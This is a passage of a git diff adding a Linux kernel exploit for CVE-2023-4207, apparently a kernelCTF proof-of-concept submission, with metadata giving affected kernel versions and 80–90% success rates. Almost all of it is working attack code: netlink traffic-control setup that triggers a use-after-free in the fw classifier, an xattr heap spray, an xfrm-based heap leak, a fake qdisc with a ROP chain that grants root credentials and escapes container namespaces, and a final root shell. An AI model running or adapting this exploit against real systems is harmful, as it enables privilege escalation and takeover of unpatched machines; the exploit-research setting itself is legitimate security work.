(g_mmapped_buf + MMAP_SIZE - 0x100) + ); + + g_pwned = 1; + + + set_cpu(1); + + int pid = fork(); + if (!pid) { + if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) + perror("setns"); + + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + printf("\nGot root!!!\n"); + printf("Getting kctf flags ...\n"); + + get_kctf_flag(); + + printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n"); + execve("/bin/sh", g_sh_argv, NULL); + } + + + waitpid(pid, &g_status, 0); + + printf("Shell exited, sleeping for 30 seconds, after that system might crash\n"); + + sleep(30); + _exit(0); +} + +uint64_t kaddr(uint64_t addr) +{ + return g_kernel_text + addr - 0xffffffff81000000uL; +} + +/* Netlink code based on syzcaller generated snippets */ +struct nlmsg { + char* pos; + int nesting; + struct nlattr* nested[8]; + char buf[0x30000]; +}; + +static void netlink_init2(struct nlmsg* nlmsg, int typ, int flags, + const void* data, int size) +{ + memset(nlmsg, 0, sizeof(*nlmsg)); + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_type = typ; + hdr->nlmsg_flags = NLM_F_REQUEST | flags; + memcpy(hdr + 1, data, size); + nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); +} + +static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, + const void* data, int size) +{ + memset(nlmsg, 0, sizeof(*nlmsg)); + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_type = typ; + hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; + memcpy(hdr + 1, data, size); + nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); +} + +static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, + int size) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + // printf("attr size: %d\n", size); + + attr->nla_len = sizeof(*attr) + size; + + if (nlmsg->pos - nlmsg->buf + attr->nla_len > sizeof(nlmsg->buf)) + errx(1, "Netlink buffer overflow, increase size in struct nlmsg\n"); + + attr->nla_type = typ; + if (size > 0) + memcpy(attr + 1, data, size); + nlmsg->pos += NLMSG_ALIGN(attr->nla_len); +} + +static void netlink_nest(struct nlmsg* nlmsg, int typ) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + attr->nla_type = typ | NLA_F_NESTED; + nlmsg->pos += sizeof(*attr); + nlmsg->nested[nlmsg->nesting++] = attr; +} + +static void netlink_done(struct nlmsg* nlmsg) +{ + struct nlattr* attr = nlmsg->nested[--nlmsg->nesting]; + + if (nlmsg->pos - (char *) attr > 0xffff) + errx(1, "Netlink attribute max size exceeded\n"); + + attr->nla_len = nlmsg->pos - (char*)attr; +} + +static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, + int* reply_len, bool dofail) +{ + if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) + err(1, "netlink_send_ext error"); + + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; + + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + + ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, + (struct sockaddr*)&addr, sizeof(addr)); + + if (n != (ssize_t)hdr->nlmsg_len) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); + if (reply_len) + *reply_len = 0; + + if (n < 0) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (n < (ssize_t)sizeof(struct nlmsghdr)) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type == NLMSG_DONE) + return 0; + + if (reply_len && hdr->nlmsg_type == reply_type) { + *reply_len = n; + return 0; + } + if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type != NLMSG_ERROR) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + errno = -((struct nlmsgerr*)(hdr + 1))->error; + return -errno; +} + +static int netlink_send(struct nlmsg* nlmsg, int sock) +{ + return netlink_send_ext(nlmsg, sock, 0, NULL, false); +} + +/* End of syzkaller code */ + + +static struct nlmsg nlmsg; + +struct nl_cache *g_link_cache; +static struct nl_sock *g_nl_sock; + + +static void netlink_device_change(struct nlmsg* nlmsg, int sock, + const char* name, bool up, const char* master, + const void* mac, int macsize, + const char* new_name) +{ + struct ifinfomsg hdr; + memset(&hdr, 0, sizeof(hdr)); + + if (up) + hdr.ifi_flags = hdr.ifi_change = IFF_UP; + + hdr.ifi_index = if_nametoindex(name); + + netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); + + if (new_name) + netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); + + if (master) { + int ifindex = if_nametoindex(master); + netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); + } + + if (macsize) + netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); + + netlink_send(nlmsg, sock); +} + +static void setup_network(char *link_name) +{ + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) + exit(1); + + netlink_device_change(&nlmsg, sock, "lo", true, 0, NULL, 0, link_name); + + + close(sock); + g_nl_sock = nl_cli_alloc_socket(); + nl_cli_connect(g_nl_sock, NETLINK_ROUTE); + g_link_cache = nl_cli_link_alloc_cache(g_nl_sock); +} + + + +void add_class_drr(uint32_t handle, uint32_t parent, uint32_t weight, uint32_t lmax) +{ + struct tcmsg hdr; + struct nlmsg nlmsg; + + int flags = 0; + + flags = NLM_F_CREATE | NLM_F_EXCL; + + memset(&hdr, 0, sizeof(hdr)); + + hdr.tcm_family = AF_UNSPEC; + hdr.tcm_ifindex = 1; + + if (parent) + hdr.tcm_parent = parent; + else + hdr.tcm_parent = TC_H_MAJ(handle); + + hdr.tcm_handle = handle; + + netlink_init(&nlmsg, RTM_NEWTCLASS, flags, &hdr, sizeof(hdr)); + + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) { + perror("netlink sock"); + exit(1); + } + + netlink_nest(&nlmsg, TCA_OPTIONS); + + + netlink_done(&nlmsg); + int ret = netlink_send(&nlmsg, sock); + + if (ret) + err(2, "drr create: %d", ret); + close(sock); +} + +void add_drr(uint32_t handle, uint32_t parent, int edit) +{ + struct tcmsg hdr; + struct nlmsg nlmsg; + + int flags = 0; + + if (!edit) + flags = NLM_F_CREATE | NLM_F_EXCL; + + memset(&hdr, 0, sizeof(hdr)); + + hdr.tcm_family = AF_UNSPEC; + hdr.tcm_ifindex = 1; + + if (parent) + hdr.tcm_parent = parent; + else + hdr.tcm_parent = TC_H_ROOT; + hdr.tcm_handle = handle; + + netlink_init(&nlmsg, RTM_NEWQDISC, flags, &hdr, sizeof(hdr)); + + char kind[] = "drr"; + netlink_attr(&nlmsg, TCA_KIND, &kind, sizeof(kind)); + + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) { + perror("netlink sock"); + exit(1); + } + + netlink_nest(&nlmsg, TCA_OPTIONS); + + + netlink_done(&nlmsg); + int ret = netlink_send(&nlmsg, sock); + + if (ret) + err(2, "drr create: %d", ret); + close(sock); +} + + +void delete_class(uint32_t handle) +{ + struct tcmsg hdr; + struct nlmsg nlmsg; + + int flags = 0; + + memset(&hdr, 0, sizeof(hdr)); + + hdr.tcm_family = AF_UNSPEC; + hdr.tcm_ifindex = 1; + hdr.tcm_parent = TC_H_ROOT; + hdr.tcm_handle = handle; + + netlink_init(&nlmsg, RTM_DELTCLASS, flags, &hdr, sizeof(hdr)); + + + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) { + perror("netlink sock"); + exit(1); + } + + int err = netlink_send(&nlmsg, sock); + + close(sock); +} +void add_iptables_cluster(char *link_name) +{ + struct xtc_handle *h = iptc_init("filter"); + if (!h) + err(1, "iptc init"); + + unsigned int targetOffset = XT_ALIGN(sizeof(struct ipt_entry)); + unsigned int totalLen = targetOffset + XT_ALIGN(sizeof(struct xt_entry_target)) + + XT_ALIGN(sizeof(struct ipt_clusterip_tgt_info)); + + struct ipt_entry* e = (struct ipt_entry *)calloc(1, totalLen); + if(e == NULL) { + err(1, "calloc"); + } + + e->target_offset = targetOffset; + e->next_offset = totalLen; + strcpy(e->ip.iniface, link_name); + memset(e->ip.iniface_mask, 0xff, 10); + + struct xt_entry_target* target = (struct xt_entry_target *) e->elems; + target->u.target_size = XT_ALIGN(sizeof(struct xt_entry_target)) + + XT_ALIGN(sizeof(struct ipt_clusterip_tgt_info)); + + strncpy(target->u.user.name, "CLUSTERIP", strlen("CLUSTERIP") + 1); + target->u.user.revision = 0; + struct ipt_clusterip_tgt_info *info = (struct ipt_clusterip_tgt_info *) target->data; + info->hash_mode = CLUSTERIP_HASHMODE_SIP; + info->flags = CLUSTERIP_FLAG_NEW; + e->ip.dst.s_addr = 1; + e->ip.dmsk.s_addr = 0xffffffff; + + + if (!iptc_append_entry("OUTPUT", e, h)) { + printf("iptc_append_entry::Error insert/append entry: %s\n", iptc_strerror(errno)); + goto end; + } + if (!iptc_commit(h)) { + err(1, "commit: %s\n", iptc_strerror(errno)); + } + + end: + free(e); + iptc_free(h); +} + +void add_iptables_mark() +{ + struct xtc_handle *h = iptc_init("mangle"); + if (!h) + err(1, "iptc init"); + + unsigned int targetOffset = XT_ALIGN(sizeof(struct ipt_entry)); + unsigned int totalLen = targetOffset + XT_ALIGN(sizeof(struct xt_entry_target)) + + XT_ALIGN(sizeof(struct xt_mark_tginfo2)); + + struct ipt_entry* e = (struct ipt_entry *)calloc(1, totalLen); + if(e == NULL) { + err(1, "calloc"); + } + + e->target_offset = targetOffset; + e->next_offset = totalLen; + + struct xt_entry_target* target = (struct xt_entry_target *) e->elems; + target->u.target_size = XT_ALIGN(sizeof(struct xt_entry_target)) + + XT_ALIGN(sizeof(struct xt_mark_tginfo2)); + + strncpy(target->u.user.name, "MARK", strlen("MARK") + 1); + target->u.user.revision = 2; + struct xt_mark_tginfo2 *info = (struct xt_mark_tginfo2 *) target->data; + info->mask = 0; + info->mark = 2; + + if (!iptc_append_entry("OUTPUT", e, h)) { + printf("iptc_append_entry::Error insert/append entry: %s\n", iptc_strerror(errno)); + goto end; + } + if (!iptc_commit(h)) { + err(1, "commit: %s\n", iptc_strerror(errno)); + } + + end: + free(e); + iptc_free(h); +} + +void add_fw_filter(uint32_t parent, uint32_t chain, uint32_t handle, uint32_t target, int edit) +{ + struct tcmsg hdr; + struct nlmsg nlmsg; + int prio = 1; + + int flags = 0; + + if (!edit) + flags = NLM_F_CREATE | NLM_F_EXCL; + + memset(&hdr, 0, sizeof(hdr)); + + hdr.tcm_family = AF_UNSPEC; + hdr.tcm_ifindex = 1; + hdr.tcm_parent = parent; + hdr.tcm_handle = handle; + + hdr.tcm_info = TC_H_MAKE(prio << 16, htons(ETH_P_ALL)); + + netlink_init(&nlmsg, RTM_NEWTFILTER, flags, &hdr, sizeof(hdr)); + + netlink_attr(&nlmsg, TCA_CHAIN, &chain, sizeof(chain)); + char kind[] = "fw"; + netlink_attr(&nlmsg, TCA_KIND, &kind, sizeof(kind)); + + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) { + perror("netlink sock"); + exit(1); + } + + netlink_nest(&nlmsg, TCA_OPTIONS); + + uint32_t mask = 0xf; + netlink_attr(&nlmsg, TCA_FW_MASK, &mask, sizeof(mask)); + + if (target) { + uint32_t class_id = target; + netlink_attr(&nlmsg, TCA_FW_CLASSID, &class_id, sizeof(class_id)); + } + + netlink_done(&nlmsg); + int err = netlink_send(&nlmsg, sock); + + close(sock); +} + +uint64_t xfrm_get_sa(unsigned int id) +{ + + static struct nl_sock *sock = NULL; + + if (!sock) { + sock = nl_cli_alloc_socket(); + nl_cli_connect(sock, NETLINK_XFRM); + } + + struct nl_msg *msg = nlmsg_alloc_simple(XFRM_MSG_GETSA, NLM_F_DUMP); + + if (!msg) + err(1, "nlmsg_alloc_simple"); + + struct xfrm_address_filter filter; + memset ((void*)&filter, 0, sizeof (filter)); + + filter.family = AF_INET; + filter.saddr.a4 = id; + filter.splen = 32; + + NLA_PUT (msg, XFRMA_ADDRESS_FILTER, sizeof (struct xfrm_address_filter), &filter); + + int ret = nl_send_auto(sock, msg); + struct sockaddr_nl nla = {0}; + + unsigned char *data; + ret = nl_recv(sock, &nla, &data, NULL); + + if (ret < 100) + err(1, "SA not found for: %d recv: %d", id, ret); + + uint64_t leak = *(uint64_t *) (data+260); + + ret = nl_recv(sock, &nla, &data, NULL); + + free(data); + nlmsg_free(msg); + + return leak; + + nla_put_failure: + err(1, "nla_put_failure\n"); + +} + +void xfrm_add_sa_pfkey_encrypt(unsigned int id) +{ + static int sock_key = 0; + + if (!sock_key) + sock_key = socket(AF_KEY, SOCK_RAW, 2); + + if (sock_key < 0) { + perror("socket key"); + exit(1); + } + +#define SA_ADDR_SIZE 3 + + int key_size = 0; + size_t msg_len = sizeof(struct sadb_msg) + SA_ADDR_SIZE*8*2 + sizeof(struct sadb_sa) + sizeof(struct sadb_key) + key_size; + + struct sadb_msg *msg = calloc(1, msg_len); + if (!msg) { + perror("calloc"); + exit(1); + } + + msg->sadb_msg_version = PF_KEY_V2; + msg->sadb_msg_type = SADB_ADD; + msg->sadb_msg_satype = SADB_SATYPE_ESP; + msg->sadb_msg_len = msg_len / 8; + + struct sadb_address *src = (struct sadb_address *) (msg+1); + + src->sadb_address_len = SA_ADDR_SIZE; + src->sadb_address_exttype = SADB_EXT_ADDRESS_SRC; + src->sadb_address_prefixlen = 8; + + struct sockaddr_in *srcaddr = (struct sockaddr_in *) (src+1); + srcaddr->sin_family = AF_INET; + srcaddr->sin_addr.s_addr = id; + + + struct sadb_address *dst = (struct sadb_address *) (srcaddr+1); + dst->sadb_address_len = SA_ADDR_SIZE; + dst->sadb_address_exttype = SADB_EXT_ADDRESS_DST; + dst->sadb_address_prefixlen = 8; + + struct sockaddr_in *dstaddr = (struct sockaddr_in *) (dst+1); + dstaddr->sin_family = AF_INET; + dstaddr->sin_addr.s_addr = id; + + struct sadb_sa *sa = (struct sadb_sa *) (dstaddr+1); + sa->sadb_sa_len = 2; + sa->sadb_sa_exttype = SADB_EXT_SA; + sa->sadb_sa_encrypt = SADB_EALG_NULL; + sa->sadb_sa_spi = id; + + + struct sadb_key *key = (struct sadb_key *) (sa+1); + key->sadb_key_len = 1 + key_size/8; + key->sadb_key_exttype = SADB_EXT_KEY_ENCRYPT; + key->sadb_key_bits = key_size * 8; + + struct msghdr hdr; + memset(&hdr, 0, sizeof(hdr)); + + struct iovec iov[1]; + iov[0].iov_base = msg; + iov[0].iov_len = msg_len; + + hdr.msg_iov = iov; + hdr.msg_iovlen = 1; + + int ret = sendmsg(sock_key, &hdr, 0); + + if (ret < 0) + err(1, "sendmsg add sa for %d", id); + free(msg); + +} + + + +void *trigger_classify() +{ + int ret, sock; + struct sockaddr_in client_addr; + + sock = socket(AF_INET, SOCK_DGRAM, 0); + + client_addr.sin_family = AF_INET; + client_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + client_addr.sin_port = htons(2000); + + struct msghdr hdr; + memset(&hdr, 0, sizeof(hdr)); + + struct iovec iov[1]; + iov[0].iov_base = "A"; + iov[0].iov_len = 1; + + hdr.msg_iov = iov; + hdr.msg_iovlen = 1; + hdr.msg_name = &client_addr; + hdr.msg_namelen = sizeof(client_addr); + + + sendmsg(sock, &hdr, 0); + +} + + + +int alloc_xattr3(int fd, char *attr, size_t size, void *buf) +{ + int res = fsetxattr(fd, attr, buf, size - XATTR_HEAD_SIZE, XATTR_CREATE); + if (res < 0) { + err(1, "fsetxattr"); + } + + return fd; +} + +void free_xattr3(int fd, char *attr) +{ + int res = fremovexattr(fd, attr); + if (res < 0) { + perror("fremovexattr"); + } +} + +void rop_rax2rdi(uint64_t **rop_p) +{ + uint64_t *rop = *rop_p; + + uint64_t pop_rdx = kaddr(0xffffffff81140d22); + uint64_t push_rax_jmp_rdx = kaddr(0xffffffff81acc6ec); + uint64_t pop_rdi = kaddr(0xffffffff810d502c); + +// rax -> rdi + *rop++ = pop_rdx; + *rop++ = pop_rdi; + *rop++ = push_rax_jmp_rdx; + + *rop_p = rop; +} + +size_t prepare_rop2(char *buf) +{ + uint64_t pop_rdi = kaddr(0xffffffff810d502c); + uint64_t pop_rsi = kaddr(0xffffffff8139068e); + uint64_t pop_r11_6_rcx = kaddr(0xffffffff82059231); + uint64_t commit_creds = kaddr(0xffffffff811136f0); + uint64_t find_task_by_vpid = kaddr(0xffffffff8110a0d0); + uint64_t switch_task_namespaces = kaddr(0xffffffff81111c80); + + uint64_t init_cred = kaddr(0xffffffff836618c0); + uint64_t init_nsproxy = kaddr(0xffffffff83661680); + + uint64_t return_via_sysret = kaddr(0xffffffff82200190); + + uint64_t *rop2 = (uint64_t *) (buf); + + *rop2++ = pop_rdi; + *rop2++ = init_cred; + *rop2++ = commit_creds; + + // Namespace escape based on code by Crusaders of Rust + *rop2++ = pop_rdi; + *rop2++ = 1; + *rop2++ = find_task_by_vpid; + + rop_rax2rdi(&rop2); + + *rop2++ = pop_rsi; + *rop2++ = init_nsproxy; + + *rop2++ = switch_task_namespaces; + + *rop2++ = pop_r11_6_rcx; +// eflags + *rop2++ = 0; + rop2 += 6; + +// Userspace RIP + *rop2++ = (uint64_t) after_pwn; + + *rop2++ = return_via_sysret; + return (char *) rop2 - buf; +} + +void prepare_fake_qdisc(char *buf) +{ + uint64_t ret = kaddr(0xffffffff810d502d); +// Any unused and writable page of memory will do + uint64_t rw_buffer = kaddr(0xffffffff84700000); + uint64_t pop_rsi_rdx_rcx = kaddr(0xffffffff810289ce); + uint64_t copy_from_user = kaddr(0xffffffff81fd4820); + +/* +0xffffffff811fb4b3: mov rdx, qword ptr [rax + 0x28] +0xffffffff811fb4b7: lea r14, [rax + 0x30] +0xffffffff811fb4bb: test rdx, rdx +0xffffffff811fb4be: je 0xffffffff811fb4cc +0xffffffff811fb4c0: mov rdi, qword ptr [rsp] +0xffffffff811fb4c4: call __x86_indirect_thunk_rdx +*/ + uint64_t g1 = kaddr(0xffffffff811fb4b3); +// 0xffffffff81d5747e: push r14 ; jmp qword [rsi+0x66] + uint64_t g2 = kaddr(0xffffffff81d5747e); + uint64_t pop_rsp = kaddr(0xffffffff81404820); + uint64_t pop_r10_r9_r8_rdi_rsi_rdx_rcx = kaddr(0xffffffff810289a5); + uint64_t pop_rdi_rsi_rdx_rcx = kaddr(0xffffffff8106fb3b); + + *(uint64_t *) (buf) = g1; + +// stab pointer (struct qdisc_size_table *stab) has to be null or __qdisc_calculate_pkt_len() (called from qdisc_calculate_pkt_len/__dev_xmit_skb) will crash trying to use it before enqueuing the packet + *(uint64_t *) (buf + 0x20) = 0; + + *(uint64_t *) (buf + 0x28) = g2; + *(uint64_t *) (buf + 0x66) = pop_rsp; + uint64_t *rop = (uint64_t *) (buf+0x30); + + char *rop2 = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (rop2 == MAP_FAILED) + err(1, "mmap"); + + size_t rop2_len = prepare_rop2(rop2); + +// jump over 0x66 + *rop++ = pop_r10_r9_r8_rdi_rsi_rdx_rcx; + rop += 7; + + *rop++ = pop_rdi_rsi_rdx_rcx; + *rop++ = rw_buffer; + *rop++ = (uint64_t) rop2; + *rop++ = rop2_len; + *rop++ = 0; + *rop++ = copy_from_user; + *rop++ = pop_rsp; + *rop++ = rw_buffer; + *rop++ = ret; +} + +int main(int argc, char **argv) +{ +// Ignore kernel base provided in the command line to work around a repro system issue + if (0 && argc > 1 && (argv[1][0] == 'f' || argv[1][0] == '0')) { + g_kernel_text = strtoull(argv[1], NULL, 16); + } else { + printf("Using default kernel base, your chance is 1/512, good luck!\nTry providing leaked kernel base as argv[1]\n"); + + g_kernel_text = 0xffffffff81000000uL; + } + + printf("Kernel base: 0x%lx\n", g_kernel_text); + + setbuf(stdout, NULL); + + setup_namespaces(); + + g_mmapped_buf = mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_mmapped_buf == MAP_FAILED) { + perror("mmap"); + return 1; + } + + memset(g_mmapped_buf, 0, MMAP_SIZE); + + set_cpu(0); + + int xattr_fd = open("/tmp/xattr", O_CREAT|O_RDWR); + + if (xattr_fd < 0) + err(1, "open xattr"); + +#define XATTR_CNT 50 + char *attr; + for (int i = 0; i < XATTR_CNT; i++) + { + asprintf(&attr, "security.%0240d", i); + + alloc_xattr3(xattr_fd, attr, 96, g_mmapped_buf); + } + + asprintf(&attr, "security.%0240d", XATTR_CNT-1); + free_xattr3(xattr_fd, attr); + + xfrm_add_sa_pfkey_encrypt(2); + uint64_t heap_leak = xfrm_get_sa(2); + + printf("Heap leak: 0x%lx\n", heap_leak); + + prepare_fake_qdisc(g_mmapped_buf+0x10); + + alloc_xattr3(xattr_fd, "security.new", 224, g_mmapped_buf); + + uint64_t addrs_w[2] = {heap_leak+0x30, 0}; + if (strlen((char *) &addrs_w) < 8) + err(1, "Null byte in heap leak, try again!"); + + setup_network((char *) &addrs_w); + + add_drr(0x10000, 0, 0); + add_class_drr(0x10001, 0x10000, 0x1, 0); + add_class_drr(0x10002, 0x10000, 0x1, 0); + + add_fw_filter(0x10000, 0, 1, 0x10001, 0); + add_fw_filter(0x10000, 0, 2, 0x10001, 0); + + add_fw_filter(0x10000, 0, 1, 0x10002, 1); + + add_iptables_mark(); + + delete_class(0x10001); + + add_iptables_cluster((char *) &addrs_w); + + trigger_classify(); + + if (!g_pwned) { + printf("Failed to trigger vuln, try again!\n"); + _exit(0); + } + +// Can't exit, everything might crash + while (1) + sleep(1000); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/mitigation-6.1/libip4tc.a b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/mitigation-6.1/libip4tc.a new file mode 100644 index 00000000..962046fb Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/exploit/mitigation-6.1/libip4tc.a differ diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/metadata.json b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/metadata.json new file mode 100644 index 00000000..a11cfcce --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/metadata.json @@ -0,0 +1,49 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp66" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=76e42ae831991c828cffa8c37736ebfb831ad5ec", + "cve": "CVE-2023-4207", + "affected_versions": [ + "3.18 - 5.15.125", + "3.18 - 6.1.44", + "3.18 - 6.5" + ], + "requirements": { + "attack_surface": [ + "userns" + ], + "capabilities": [ + "CAP_NET_ADMIN" + ], + "kernel_config": [ + "CONFIG_NET_CLS_FW" + ] + } + }, + "exploits": { + "lts-6.1.36": { + "uses": [ + "userns" + ], + "requires_separate_kaslr_leak": true, + "stability_notes": "80% success rate" + }, + "cos-101-17162.127.42": { + "uses": [ + "userns" + ], + "requires_separate_kaslr_leak": true, + "stability_notes": "80% success rate" + }, + "mitigation-6.1": { + "uses": [ + "userns" + ], + "requires_separate_kaslr_leak": true, + "stability_notes": "90% success rate" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/original.tar.gz b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/original.tar.gz new file mode 100644 index 00000000..40df766b Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-4207_lts_cos_mitigation_2/original.tar.gz differ